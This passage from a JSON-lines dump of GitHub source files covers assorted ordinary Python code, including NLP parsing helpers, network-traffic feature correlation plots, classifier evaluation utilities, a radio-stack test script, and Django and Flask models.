doc.sentences for word in sent.words], sep='\\n')\n return doc\n\n\ndef extract_target(target, parsed_sentence):\n ''' extracts target word in parsed sentence \n param: target: the target word (str)\n param: parsed_sentenced: a stanza doc object of the parsed sentence \n returns: target_in_doc: the stanza word object corresponding to the target'''\n target_in_doc = []\n for doc_el in parsed_sentence.words: # go through sentence\n if doc_el.text == target:\n target_in_doc.append(doc_el)\n if len(target_in_doc) <= 0:\n print('element not found')\n return False\n return target_in_doc\n\n\ndef get_head_of_targetword(target, sentence):\n '''\n param: target: the target word (str)\n param: sentence: the sentence containing the target word\n returns: target_head: the head of the target word '''\n # parsed_sentence = parse_doc(sentence)\n target_in_doc = extract_target(target, sentence)\n for target_elem in target_in_doc:\n head_id = target_elem.head\n target_head = sentence.words[head_id - 1].text if head_id > 0 else \"root\"\n print('head of', target, ':\\t', target_head)\n return target_head\n\n\ntestfile = read_file('..\\parsetest_ams.txt')\nprint(''.join(testfile))\ndoc = parse_doc(''.join(testfile))\nget_head_of_targetword('some', doc.sentences[0])\n","repo_name":"rod-ycli/feature-extraction","sub_path":"code/extract_head_of_target.py","file_name":"extract_head_of_target.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31794621274","text":"\"\"\"Get correlation\n\n Run in the terminal:\n PYTHONPATH=. python3.7 examples/representation/report/paper_header_correlation.py\n\"\"\"\n# Email: kun.bj@outlook.com\n# Author: kun\n# License: xxx\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport seaborn as sns\n\nfrom examples.representation._constants import * # should in the top.\nfrom odet.utils.tool import load, check_path, dump, split_train_val_test, normalize\n\n######################################################################################################################\n### add current path to system path\nlib_path = os.path.abspath('.')\nsys.path.append(lib_path)\n# print(f\"add \\'{lib_path}\\' into sys.path: {sys.path}\")\n\n######################################################################################################################\n### set seaborn background colors\n# sns.set_style(\"darkgrid\")\nsns.set_style(\"whitegrid\")\nsns.despine(bottom=True, left=True, top=False, right=False)\nRANDOM_STATE = 42\n\n\ndef _get_each_correlation(x, y):\n\tlg.debug(f'{np.std(x)}, {np.std(y)}')\n\trho = np.corrcoef(x, y)[0, 1]\n\trho = 0 if np.isnan(rho) else rho\n\treturn rho\n\n\ndef get_correlation(in_dir='',\n datasets='',\n feature='SIZE',\n header=True,\n out_dir='',\n out_file='.dat'):\n\tcorr_results = {}\n\tfor i, dataset in enumerate(datasets):\n\t\tin_file = os.path.join(in_dir, dataset, feature, f\"header_{header}\", 'Xy.dat')\n\t\tlg.debug(in_file)\n\t\tdata = load(in_file)\n\t\tX_train, y_train, X_val, y_val, X_test, y_test = split_train_val_test(data['X'], data['y'],\n\t\t shuffle=True,\n\t\t random_state=RANDOM_STATE)\n\t\t# normalization\n\t\tss, X_train, y_train, X_val, y_val, X_test, y_test = normalize(X_train, y_train, X_val, y_val, X_test,\n\t\t y_test)\n\t\t# 2 get correlation\n\t\tdim = X_test.shape[1]\n\t\tif feature == 'IAT':\n\t\t\t# iat_dim + header_dim = dim, here header_dim = (8 + ttl_dim (i.e., size_dim))\n\t\t\t# => iat_dim + 8 + size_dim = iat_dim + 8 + (iat_dim + 1) = dim\n\t\t\t# => iat_dim = (dim - 9)//2\n\t\t\tstart_idx = (dim - 8 - 1) // 2\n\t\telif feature == 'SIZE':\n\t\t\t# size_dim + header_dim = dim\n\t\t\t# size_dim + (8+size_dim) = dim\n\t\t\t# size_dim = (dim - 8 ) // 2\n\t\t\tstart_idx = (dim - 8) // 2 # # feature + header_feature:(8 tcp flags + TTL). only works for 'SIZE'\n\t\telse:\n\t\t\tmsg = f'Error: {feature}'\n\t\t\traise NotImplementedError(msg)\n\t\tcorrs = []\n\t\tlg.debug(f'header_feature_start_idx: {start_idx}')\n\t\tfor j in range(9): # feature + header_feature:(8 tcp flags + first TTL)\n\t\t\t_corr = _get_each_correlation(X_test[:, start_idx + j], y_test)\n\t\t\tcorrs.append(_corr)\n\t\tcorr_results[(in_file, dataset, feature, X_test.shape)] = corrs\n\n\t\t_out_file = os.path.join(out_dir, dataset, 'correlation.dat')\n\t\tcheck_path(_out_file)\n\t\tdump(corrs, _out_file)\n\t\tprint(_out_file)\n\t# save all results\n\tcheck_path(out_file)\n\tdump(corr_results, out_file)\n\n\treturn out_file\n\n\ndef plot_correlation_multi(corr_results, out_file='', title=None, show=True):\n\t\"\"\" plot the data\n\n\tParameters\n\t----------\n\tcorr_results\n\tout_dir\n\ttitle\n\tshow\n\n\tReturns\n\t-------\n\n\t\"\"\"\n\t# # only show the top 4 figures\n\tnew_corr_results = {}\n\tfor i, (dataset, name) in enumerate(data_orig2name.items()):\n\t\tfor j, (key, corrs) in enumerate(corr_results.items()):\n\t\t\t_key_path, _dataset, _feat_set, X_test_shape = key\n\t\t\tif dataset in key:\n\t\t\t\tnew_corr_results[(_key_path, _dataset, name, _feat_set, X_test_shape)] = corrs\n\tt = 0\n\tcols = 2\n\tfontsize = 20\n\t## http://jose-coto.com/styling-with-seaborn\n\t# colors = [\"m\", \"#4374B3\"]\n\t# palette = sns.color_palette('RdPu', 1) # a list\n\tpalette = [sns.color_palette('YlOrRd', 7)[4]] # YlOrRd\n\tfig, axes = plt.subplots(2, cols, figsize=(18, 8)) # (width, height)\n\t# print(new_corr_results)\n\tfor i, (key, corrs) in enumerate(new_corr_results.items()):\n\t\tprint(f\"i: {i}, {key}, corrs: {corrs}\") # hue = feat_set\n\t\tkey_path, dataset, short_name, feat_set, X_test_shape = key\n\t\tHEADER = ['FIN', 'SYN', 'RST', 'PSH', 'ACK', 'URG', 'ECE', 'CWR', '1st-TTL']\n\n\t\tdata = sorted(range(len(corrs)), key=lambda i: abs(corrs[i]), reverse=True)[:6] # top 6 values\n\t\tdata = [[f'({HEADER[_i]}, y)', feat_set, corrs[_i]] for _i in data]\n\t\t# print(f\"i: {i}, {key}, corrs: {data}\")\n\n\t\tnew_yerrs = [1 / (np.sqrt(X_test_shape[0]))] * 6 # for the same dataset, it has the same err_bar\n\t\t# # print(f'i: {i}, {new_yerrs}')\n\n\t\tdf = pd.DataFrame(data, columns=[f'Xi_y', 'feat_set', 'corr_rho'])\n\t\tif i % cols == 0 and i > 0:\n\t\t\tt += 1\n\t\tg = sns.barplot(x=f\"Xi_y\", y=\"corr_rho\", ax=axes[t, i % cols], hue='feat_set', data=df,\n\t\t palette=palette) # palette=palette,\n\t\tg.set(xlabel=None)\n\t\tg.set(ylim=(-1, 1))\n\t\tif i % cols == 0:\n\t\t\t# g.set_ylabel(r'$\\rho$', fontsize=fontsize + 4)\n\t\t\tg.set_ylabel(r'Correlation', fontsize=fontsize + 4)\n\t\t\t# print(g.get_yticks())\n\t\t\tg.set_yticks([-1, -0.5, 0, 0.5, 1])\n\t\t\tg.set_yticklabels(g.get_yticks(), fontsize=fontsize + 6) # set the number of each value in y axis\n\t\t# print(g.get_yticks())\n\t\telse:\n\t\t\tg.set(ylabel=None)\n\t\t\tg.set_yticklabels(['' for v_tmp in g.get_yticks()])\n\t\t\tg.set_ylabel('')\n\n\t\t# g.set_title(dataset_name)\n\t\tg.get_legend().set_visible(False)\n\t\tg.set_xticklabels(g.get_xticklabels(), fontsize=fontsize + 4, rotation=30, ha=\"center\")\n\n\t\tys = []\n\t\txs = []\n\t\twidth = 0\n\t\tfor i_p, p in enumerate(g.patches):\n\t\t\theight = p.get_height()\n\t\t\twidth = p.get_width()\n\t\t\tys.append(height)\n\t\t\txs.append(p.get_x())\n\t\t\tif i_p == 0:\n\t\t\t\tpre = p.get_x() + p.get_width()\n\t\t\tif i_p > 0:\n\t\t\t\tcur = p.get_x()\n\t\t\t\tg.axvline(color='black', linestyle='--', x=pre + (cur - pre) / 2, ymin=0, ymax=1, alpha=0.3)\n\t\t\t\tpre = cur + p.get_width()\n\t\t\t## https://stackoverflow.com/questions/34888058/changing-width-of-bars-in-bar-chart-created-using-seaborn-factorplot\n\t\t\tp.set_width(width / 3) # set the bar width\n\t\t\t# we recenter the bar\n\t\t\tp.set_x(p.get_x() + width / 3)\n\t\tg.set_title(short_name, fontsize=fontsize + 8)\n\n\t\t# add error bars\n\t\tg.errorbar(x=xs + width / 2, y=ys,\n\t\t yerr=new_yerrs, fmt='none', c='b', capsize=3)\n\n\t# # get the legend and modify it\n\t# handles, labels = g.get_legend_handles_labels()\n\t# fig.legend(handles, ['IAT+SIZE'], title=None, loc='lower center', ncol=1,\n\t# prop={'size': fontsize-2}) # loc='lower right', loc = (0.74, 0.13)\n\n\tplt.tight_layout()\n\tplt.subplots_adjust(bottom=0.2)\n\n\tcheck_path(out_file)\n\tprint(out_file)\n\tplt.savefig(out_file) # should use before plt.show()\n\tif show: plt.show()\n\tplt.close(fig)\n\tplt.close(\"all\")\n\n\ndef main():\n\troot_dir = 'examples/representation'\n\tin_dir = f'{root_dir}/report/out/'\n\tcorr_file = os.path.join(in_dir, 'correlation', 'correlation.dat')\n\tDATASETS = ['UNB(PC1)',\n\t 'CTU',\n\t 'MAWI',\n\t 'UCHI(SFRIG_2021)']\n\tfeature = 'SIZE' # the correlation code only works for SIZE\n\theader = True\n\tout_dir = f'{root_dir}/report/out/correlation'\n\tget_correlation(in_dir=f'{root_dir}/out/src',\n\t datasets=DATASETS,\n\t feature=feature,\n\t header=header,\n\t out_dir=out_dir,\n\t out_file=corr_file)\n\tdata = load(corr_file)\n\tout_file = os.path.join(out_dir, feature, f\"header_{header}\", 'correlation.pdf')\n\tplot_correlation_multi(data, out_file=out_file, show=True)\n\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"kun0906/odet","sub_path":"examples/representation/report/paper_header_correlation.py","file_name":"paper_header_correlation.py","file_ext":"py","file_size_in_byte":7445,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"18736866234","text":"import asyncio\n\nfrom typing import List\n\nfrom azext_iot.common._azure import get_iot_central_tokens\nfrom azext_iot.monitor.models.target import Target\nfrom azext_iot.monitor.builders._common import convert_token_to_target\n\n\ndef build_central_event_hub_targets(\n cmd, app_id, aad_token, central_dns_suffix\n) -> List[Target]:\n event_loop = asyncio.get_event_loop()\n return event_loop.run_until_complete(\n _build_central_event_hub_targets_async(\n cmd, app_id, aad_token, central_dns_suffix\n )\n )\n\n\nasync def _build_central_event_hub_targets_async(\n cmd, app_id, aad_token, central_dns_suffix\n):\n all_tokens = get_iot_central_tokens(cmd, app_id, aad_token, central_dns_suffix)\n targets = [await convert_token_to_target(token) for token in all_tokens.values()]\n\n return targets\n","repo_name":"Azure/azure-iot-cli-extension","sub_path":"azext_iot/monitor/builders/central_target_builder.py","file_name":"central_target_builder.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","stars":80,"dataset":"github-code","pt":"82"} +{"seq_id":"19278333817","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.metrics import f1_score, precision_score, recall_score\n\n\ndef performance_measure(y_actual, y_pred, class_no):\n TP = 0\n FP = 0\n TN = 0\n FN = 0\n\n for i in range(len(y_pred)): \n if y_actual[i] == y_pred[i] == class_no:\n TP += 1\n if y_pred[i] == class_no and y_actual[i] != y_pred[i]:\n FP += 1\n if (y_actual[i] != class_no) & (y_pred[i] != class_no):\n TN += 1\n if y_pred[i] != class_no and y_actual[i] == class_no:\n FN += 1\n\n return(class_no, TP, FP, TN, FN)\n\ndef write_evaluation(filename, y_test, y_pred):\n y_test = y_test.drop('Unnamed: 0', axis = 1)\n y_test.rename(columns = {'0': 'label'}, inplace = True)\n\n y_pred = y_pred.drop('Unnamed: 0', axis = 1)\n y_pred.rename(columns = {'0': 'label'}, inplace = True)\n\n y_test_final = list(y_test['label'])\n y_pred_final = list(y_pred['label'])\n\n full_labels = pd.DataFrame(y_test_final, columns=['test'])\n full_labels['pred'] = y_pred_final\n\n # TP, FP, TN, FN\n final_result = []\n for i in range(2):\n final_result.append(performance_measure(y_test_final, y_pred_final, i))\n\n df_final_result = pd.DataFrame(final_result, columns =['Group', 'TP', 'FP', 'TN', 'FN'])\n df_final_result['precision'] = df_final_result['TP'] / (df_final_result['TP'] + df_final_result['FP'])\n df_final_result['recall'] = df_final_result['TP'] / (df_final_result['TP'] + df_final_result['FN'])\n df_final_result['F_score'] = (2 * df_final_result['precision'] * df_final_result['recall']) / (df_final_result['precision'] + df_final_result['recall'])\n df_final_result\n\n test_count = pd.DataFrame(y_test['label'].value_counts())\n test_count.reset_index(level=0, inplace=True)\n test_count.rename(columns = {'index': 'Group', 'label': 'test_count'}, inplace = True)\n\n pred_count = pd.DataFrame(y_pred['label'].value_counts())\n pred_count.reset_index(level=0, inplace=True)\n pred_count.rename(columns = {'index': 'Group', 'label': 'pred_count'}, inplace = True)\n\n df_final_result = df_final_result.merge(test_count, on = 'Group', how = 'left')\n df_final_result = df_final_result.merge(pred_count, on = 'Group', how = 'left')\n\n df_final_result['sum_TP'] = sum(df_final_result['TP'])\n df_final_result['sum_FP'] = sum(df_final_result['FP'])\n df_final_result['sum_FN'] = sum(df_final_result['FN'])\n\n df_final_result['micro_precision'] = df_final_result['sum_TP'] / (df_final_result['sum_TP'] + df_final_result['sum_FP'])\n df_final_result['micro_recall'] = df_final_result['sum_TP'] / (df_final_result['sum_TP'] + df_final_result['sum_FN'])\n\n test_sum = sum(df_final_result['test_count'])\n df_final_result['macro_precision'] = df_final_result['precision'].mean()\n df_final_result['macro_recall'] = df_final_result['recall'].mean()\n df_final_result['macro_F_score'] = df_final_result['F_score'].mean()\n\n df_final_result.to_csv(filename)\n\n\ndef calculate_multiple_evaluation(bert_type , loss_func, set_name = 'dev'):\n df_final = pd.DataFrame() \n for t in range(1,4):\n for z in range(1,4):\n precision, recall, f_score = [], [], []\n for i in range(10):\n filename = './/experiment//multiple_run//2_class_'+bert_type+'_tum_sentence//'+bert_type+'_weighted_'+loss_func+'_wd_0'+str(t)+'_lr_0'+ str(z)+'//'+set_name+'//evaluation//evaluation_13102020_'+bert_type+'_2_classes_'+str(i)+'.csv'\n df = pd.read_csv(filename)\n precision.append(df.loc[1]['precision'])\n recall.append(df.loc[1]['recall'])\n f_score.append(df.loc[1]['F_score'])\n\n bert = pd.DataFrame(f_score, columns =['f_score'])\n bert['precision'] = precision\n bert['recall'] = recall\n\n f = [str(round(bert.describe()['f_score']['mean'],3)) + '+' + str(round(bert.describe()['f_score']['std'], 3))]\n p = [str(round(bert.describe()['precision']['mean'],3)) + '+' + str(round(bert.describe()['precision']['std'], 3))]\n r = [str(round(bert.describe()['recall']['mean'],3)) + '+' + str(round(bert.describe()['recall']['std'], 3))]\n\n model_loss = [loss_func]\n model_stat = pd.DataFrame(model_loss, columns =['model_loss_func'])\n model_stat['bert_type'] = bert_type\n model_stat['wd'] = t\n model_stat['lr'] = z\n model_stat['set'] = set_name\n model_stat['f1'] = f\n model_stat['precision'] = p\n model_stat['recall'] = r\n \n df_final = df_final.append(model_stat, ignore_index = True)\n return df_final\n\n\ndef total_write_files(bert_type, loss_func, folder_path = './/experiment//multiple_run//2_class_scibert_tum_sentence'):\n for t in range(1,4):\n for z in range(1,4):\n for i in range(10):\n y_test = pd.read_csv(open(folder_path + '//'+ bert_type +'_weighted_'+loss_func+'_wd_0'+str(t)+'_lr_0'+ str(z)+'//dev//y_dev_13102020_bert_2_classes'+str(i)+'_bert.csv','rb'))\n y_pred = pd.read_csv(folder_path + '//'+ bert_type +'_weighted_'+loss_func+'_wd_0'+str(t)+'_lr_0'+ str(z)+'//dev//y_dev_pred_13102020_bert_2_classes'+str(i)+'_bert.csv')\n filename = folder_path + '//'+ bert_type +'_weighted_'+loss_func+'_wd_0'+str(t)+'_lr_0'+ str(z)+'//dev//evaluation//evaluation_13102020_'+bert_type+'_2_classes_'+str(i)+'.csv'\n write_evaluation(filename, y_test, y_pred)\n\n y_test = pd.read_csv(open(folder_path + '//'+ bert_type +'_weighted_'+loss_func+'_wd_0'+str(t)+'_lr_0'+ str(z)+'//test//y_test_13102020_bert_2_classes'+str(i)+'_bert.csv','rb'))\n y_pred = pd.read_csv(folder_path + '//'+ bert_type +'_weighted_'+loss_func+'_wd_0'+str(t)+'_lr_0'+ str(z)+'//test//y_test_pred_13102020_bert_2_classes'+str(i)+'_bert.csv')\n filename = folder_path + '//'+ bert_type +'_weighted_'+loss_func+'_wd_0'+str(t)+'_lr_0'+ str(z)+'//test//evaluation//evaluation_13102020_'+bert_type+'_2_classes_'+str(i)+'.csv'\n write_evaluation(filename, y_test, y_pred)\n\ndef get_final_results(bert_type):\n total_write_files(bert_type, 'adamw', folder_path = './/experiment//multiple_run//2_class_'+ bert_type +'_tum_sentence')\n total_write_files(bert_type, 'adam', folder_path = './/experiment//multiple_run//2_class_'+ bert_type +'_tum_sentence')\n total_write_files(bert_type, 'sgd', folder_path = './/experiment//multiple_run//2_class_'+ bert_type +'_tum_sentence')\n \n df_final = pd.DataFrame()\n for z in ['adam', 'adamw', 'sgd']:\n for i in ['dev', 'test']:\n df = calculate_multiple_evaluation(bert_type, z, i)\n df_final = df_final.append(df, ignore_index = True)\n return df_final\n\n\ndef get_total_results(bert_type = 'scibert', filename = './/experiment//multiple_run//2_class_scibert_tum_sentence//evaluation.csv'):\n\tdf_result = get_final_results(bert_type)\n\tdf_result.to_csv(filename)\n","repo_name":"hilaldonmez/relation_extraction","sub_path":"src/evaluation/evaluation_binary.py","file_name":"evaluation_binary.py","file_ext":"py","file_size_in_byte":7039,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"18319047532","text":"from django.db import models\nfrom django.contrib.auth.models import User\n# Create your models here.\n\nclass GoalLight(models.Model):\n user = models.OneToOneField(User)\n lightOn = models.BooleanField(default=True)\n soundOn = models.BooleanField(default=False)\n onTime = models.IntegerField(default=10)\n #onNow = models.IntegerField(default=False)\n \n def __unicode__(self):\n returnString = \"%sLight\" % unicode(self.user)\n return returnString\n \n \n","repo_name":"stefanah/controller","sub_path":"controlProjects/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34573660191","text":"# Load-drop 2 Test: Indirect data transactions\n\nimport sys #cli arguments\nimport time #sleep\n\nfrom scriptIncludes import *\n\nPANId = 1\n\nmsgDATA_REQ = {'msgId': ftdf.FTDF_DATA_REQUEST,\n 'srcAddrMode': ftdf.FTDF_EXTENDED_ADDRESS,\n 'dstAddrMode': ftdf.FTDF_EXTENDED_ADDRESS,\n 'dstPANId': PANId,\n 'dstAddr': 0x20,\n 'msduLength': 5,\n 'msdu': [0,1,2,3,4],\n 'msduHandle': 0,\n 'ackTX': True,\n 'GTSTX': False,\n 'indirectTX': True,\n 'securityLevel': 0,\n 'keyIdMode': 0,\n 'keySource': [0,0,0,0,0,0,0,0],\n 'keyIndex': 0,\n 'frameControlOptions': 0,\n 'headerIEList': 0,\n 'payloadIEList': 0,\n 'sendMultiPurpose': False}\n\nmsgPOLL_REQ = {'msgId': ftdf.FTDF_POLL_REQUEST,\n 'coordAddrMode': ftdf.FTDF_EXTENDED_ADDRESS,\n 'coordPANId': PANId,\n 'coordAddr': 0x10,\n 'securityLevel': 0,\n 'keyIdMode': 0,\n 'keySource': [0,0,0,0,0,0,0,0],\n 'keyIndex': 0}\n\nmsgPURGE_REQ = {'msgId': ftdf.FTDF_PURGE_REQUEST,\n 'msduHandle': 1}\n\ndef error( logstr ):\n raise StopScript( logstr )\n\n\n# START OF TESTS #\n############\n# RESET\n############\nDTS_sndMsg(devId1, msgRESET)\nDTS_sndMsg(devId2, msgRESET)\n\nres, ret = DTS_getMsg(devId1, responseTimeout)\nif res == False:\n error(\"No response\")\nelif ret['msgId'] != ftdf.FTDF_RESET_CONFIRM or ret['status'] != ftdf.FTDF_SUCCESS:\n error(\"Incorrect result\")\n\nres, ret = DTS_getMsg(devId2, responseTimeout)\nif res == False:\n error(\"No response\")\nelif ret['msgId'] != ftdf.FTDF_RESET_CONFIRM or ret['status'] != ftdf.FTDF_SUCCESS:\n error(\"Incorrect result\")\n\n#############\n# Set PIB attributes\n#############\n\n# PAN ID\nDTS_sndMsg(devId1,msgSET_PANId)\nDTS_sndMsg(devId2,msgSET_PANId)\n\nres, ret = DTS_getMsg(devId1, responseTimeout)\nif ret['msgId'] != ftdf.FTDF_SET_CONFIRM or ret['status'] != ftdf.FTDF_SUCCESS:\n error(\"Incorrect result\")\n\nres, ret = DTS_getMsg(devId2, responseTimeout)\nif ret['msgId'] != ftdf.FTDF_SET_CONFIRM or ret['status'] != ftdf.FTDF_SUCCESS:\n error(\"Incorrect result\")\n\n\n################\n# Data frames\n################\n# FR4600 + FR4620\n# - Transaction overflow\n# - Transaction expired\n#################\n'''\nfor i in range( 17 ):\n DTS_sndMsg(devId1, msgDATA_REQ)\n\nres, ret = DTS_getMsg(devId1, 10)\nif ret['msgId'] != ftdf.FTDF_DATA_CONFIRM or ret['status'] != ftdf.FTDF_TRANSACTION_OVERFLOW:\n error(\"Expected transaction overflow\")\n\nfor i in range( 16 ):\n res, ret = DTS_getMsg(devId1, 10)\n if ret['msgId'] != ftdf.FTDF_DATA_CONFIRM or ret['status'] != ftdf.FTDF_TRANSACTION_EXPIRED:\n error(\"Expected transaction expired\")\n'''\n\n\n#################\n# FR4900\n# - Purge request\n#################\nmsgDATA_REQ['msduHandle'] = 1\n\nDTS_sndMsg(devId1, msgDATA_REQ)\nDTS_sndMsg(devId1, msgPURGE_REQ)\n\nres, ret = DTS_getMsg(devId1, responseTimeout)\nif ret['msgId'] != ftdf.FTDF_PURGE_CONFIRM or ret['status'] != ftdf.FTDF_SUCCESS or ret['msduHandle'] != 1:\n error( \"Purge confirm\" )\n\nDTS_sndMsg(devId1, msgPURGE_REQ)\n\nres, ret = DTS_getMsg(devId1, responseTimeout)\nif ret['msgId'] != ftdf.FTDF_PURGE_CONFIRM or ret['status'] != ftdf.FTDF_INVALID_HANDLE or ret['msduHandle'] != 1:\n error( \"Purge confirm\" )\n\nres, ret = DTS_getMsg(devId1, responseTimeout)\nif res == True:\n error( \"Data confirm rcvd after purge request\" )\n\n#################\n# FR4700 - FR4750\n# - Poll request\n#################\n\n#############\n# Set radios on for both devices\n#############\nDTS_sndMsg(devId1, msgRxEnable_On)\nDTS_sndMsg(devId2, msgRxEnable_On)\n\nres, ret = DTS_getMsg(devId1, responseTimeout)\nif ret['msgId'] != ftdf.FTDF_RX_ENABLE_CONFIRM or ret['status'] != ftdf.FTDF_SUCCESS:\n error(\"rxEnable fail\")\n\nres, ret = DTS_getMsg(devId2, responseTimeout)\nif ret['msgId'] != ftdf.FTDF_RX_ENABLE_CONFIRM or ret['status'] != ftdf.FTDF_SUCCESS:\n error(\"rxEnable fail\")\n\n\n# Check for no-data result\nDTS_sndMsg(devId2, msgPOLL_REQ)\n\nres, ret = DTS_getMsg(devId2, responseTimeout)\nif ret['msgId'] != ftdf.FTDF_POLL_CONFIRM or ret['status'] != ftdf.FTDF_NO_DATA:\n error(\"Poll confirm\" )\n\n\n# Check for successful result\nDTS_sndMsg(devId1, msgDATA_REQ)\n\ntime.sleep(1)\n\nDTS_sndMsg(devId2, msgPOLL_REQ)\n\n# First comes the poll confirm\nres, ret = DTS_getMsg(devId2, responseTimeout)\nif ret['msgId'] != ftdf.FTDF_POLL_CONFIRM or ret['status'] != ftdf.FTDF_SUCCESS:\n error(\"Poll confirm\" )\n\n# Then comes the data indication\nres, ret = DTS_getMsg(devId2, responseTimeout)\nif ret['msgId'] != ftdf.FTDF_DATA_INDICATION:\n error(\"Data indication\")\n\n# Data confirm on sending side\nres, ret = DTS_getMsg(devId1, responseTimeout)\nif ret['msgId'] != ftdf.FTDF_DATA_CONFIRM or ret['status'] != ftdf.FTDF_SUCCESS or ret['msduHandle'] != msgDATA_REQ['msduHandle']:\n error(\"Data confirm\")\n\n","repo_name":"andrew-ongh/fresh_SDK","sub_path":"tools/ftdf_dts/scripts/evaluation/other/LD02_Indirect.py","file_name":"LD02_Indirect.py","file_ext":"py","file_size_in_byte":4983,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"72085148747","text":"#!/usr/bin/python3.6\n\nfirst_thousand = range(1,1000)\n\nfor a in first_thousand:\n for b in first_thousand:\n if b > a:\n c = (a*a + b*b)**0.5\n if float(c).is_integer() and c > b and a+b+c==1000:\n print(a*b*c)\n print(a,b,c)\n exit()\n # for c in first_thousand:\n # if c > b and a*a + b*b == c*c and a + b + c == 1000:\n # print(a*b*c)\n # exit()","repo_name":"areebbeigh/CompetitiveProgramming","sub_path":"Project Euler/problem_9.py","file_name":"problem_9.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"36541540452","text":"import filecmp\nimport os\nimport shutil\nimport tempfile\nimport unittest\nfrom aimless import init_loc\nfrom aimless.init_loc import DEF_SKEL_LOC\n\n\nclass TestInit(unittest.TestCase):\n \"Tests that we properly copy the skel files to the dest.\"\n\n def setUp(self):\n pass\n\n def test_no_args(self):\n with self.assertRaises(SystemExit) as cm:\n init_loc.main([])\n self.assertEqual(2, cm.exception.code)\n\n def test_tmp_dest(self):\n tgt_dir = tempfile.mkdtemp()\n try:\n init_loc.main([tgt_dir])\n dcmp = filecmp.dircmp(DEF_SKEL_LOC, tgt_dir)\n self._err_on_diffs(dcmp)\n finally:\n shutil.rmtree(tgt_dir)\n\n def _err_on_diffs(self, dcmp):\n \"\"\"Error on any diffs in the given directory comparison.\n Calls subdirs recursively.\"\"\"\n\n if dcmp.diff_files:\n for name in dcmp.diff_files:\n print(\"diff_file %s found in %s and %s\" % (name, dcmp.left,\n dcmp.right))\n self.fail(\"Differences!\")\n\n for sub_dcmp in dcmp.subdirs.values():\n self._err_on_diffs(sub_dcmp)\n\n","repo_name":"team-mayes/aimless","sub_path":"tests/test_init_loc.py","file_name":"test_init_loc.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"19753298870","text":"\r\ndef inputFloatList():\r\n list=[]\r\n numero=input(\"Qual o número a adicionar á lista? \")\r\n while numero != \"\":\r\n list.append(float(numero))\r\n numero=(input(\"Qual o número a adicionar á lista? \"))\r\n list.sort()\r\n return list\r\n\r\n\r\ndef countLower(lst, v):\r\n x=0\r\n for i in range(len(lst)):\r\n if lst[i]=max:\r\n max=i \r\n m =(max+min)/2\r\n x=0\r\n for i in range(len(lst)):\r\n if lst[i] bool:\n stack = []\n for brct in s:\n if brct in self.open:\n stack.append(brct)\n else:\n if not stack or self.dct_brckt[brct] != stack[-1]:\n return False\n stack.pop(-1)\n if not stack:\n return True\n else:\n return False\n\ns = Solution()\n\nprint(s.isValid(\"(([(())))\"))","repo_name":"onel6un/LeetCode_adventure","sub_path":"easy/20Valid_Parentheses.py","file_name":"20Valid_Parentheses.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17500569303","text":"def main():\n scores = []\n max = 0\n\n with open(\"english.csv\", \"r\") as words:\n word = words.readline()\n while word:\n word = word.rstrip()\n difficulty = len(word)\n # Keep track of the maximum difficulty for this dataset\n if max < difficulty:\n max = difficulty\n\n scores.append((word, difficulty))\n word = words.readline();\n\n print(\"Max score is: \" + str(max))\n\n with open(\"../data/difficulty.csv\", \"w\") as diff:\n for tuple in scores:\n diff.write(\", \".join([tuple[0], str(tuple[1] / max)]))\n diff.write(\"\\n\")\n\nif __name__ == \"__main__\":\n main()\nelse:\n print(\"Not to be used as a module.\")\n","repo_name":"lightsamurai/aphasia","sub_path":"test/tools/diff.py","file_name":"diff.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"13499710618","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n'''用户表models'''\n\n__author__ = \"wenxiaoning(371032668@qq.com)\"\n__copyright__ = \"Copyright of hopapapa (2017).\"\n\nfrom elasticsearch.client import query_params\nfrom sqlalchemy import text\nfrom sqlalchemy import desc\n\nfrom src import db\nfrom src import snowflake\nfrom src.config import BaseConfig\nfrom src.common import utils\nfrom src.common.base import BaseBean\nfrom src.common.http_util import get_param\nfrom src.common.pymysql_util import query\n\n\nclass User(BaseBean, db.Model):\n __tablename__ = 'user'\n id = db.Column(db.String, primary_key=True, unique=True)\n name = db.Column(db.String, default=\"\")\n mobile = db.Column(db.String, default=\"\")\n portrait = db.Column(db.String, default=BaseConfig.DEFAULT_PORTRAIT)\n gender = db.Column(db.Float, default=BaseConfig.DEFAULT_GENDER)\n age = db.Column(db.Integer, default=BaseConfig.DEFAULT_AGE)\n status = db.Column(db.Integer, default=BaseConfig.TYPE_USER_NORMAL)\n is_del = db.Column(db.Integer, default=0)\n banner = db.Column(db.JSON, default={})\n last_upload = db.Column(db.JSON, default={})\n ext = db.Column(db.JSON, default={\n \"location\": \"\",\n \"sign\": \"\",\n \"lat\": 0,\n \"lng\": 0\n })\n create_ts = db.Column(db.TIMESTAMP)\n update_ts = db.Column(db.TIMESTAMP)\n\n # 外链\n opens = db.relationship('UserOpen', backref='user',\n lazy='dynamic')\n\n @classmethod\n def query_paginate(cls, page, per_page, **params):\n if params:\n params['is_del'] = 0\n else:\n params = {\n \"is_del\": 0\n }\n return cls.query.filter_by(**params).order_by(\n desc(cls.create_ts)).paginate(page, per_page, False)\n\n @classmethod\n def query_user(cls, **params):\n if params:\n params['is_del'] = 0\n return 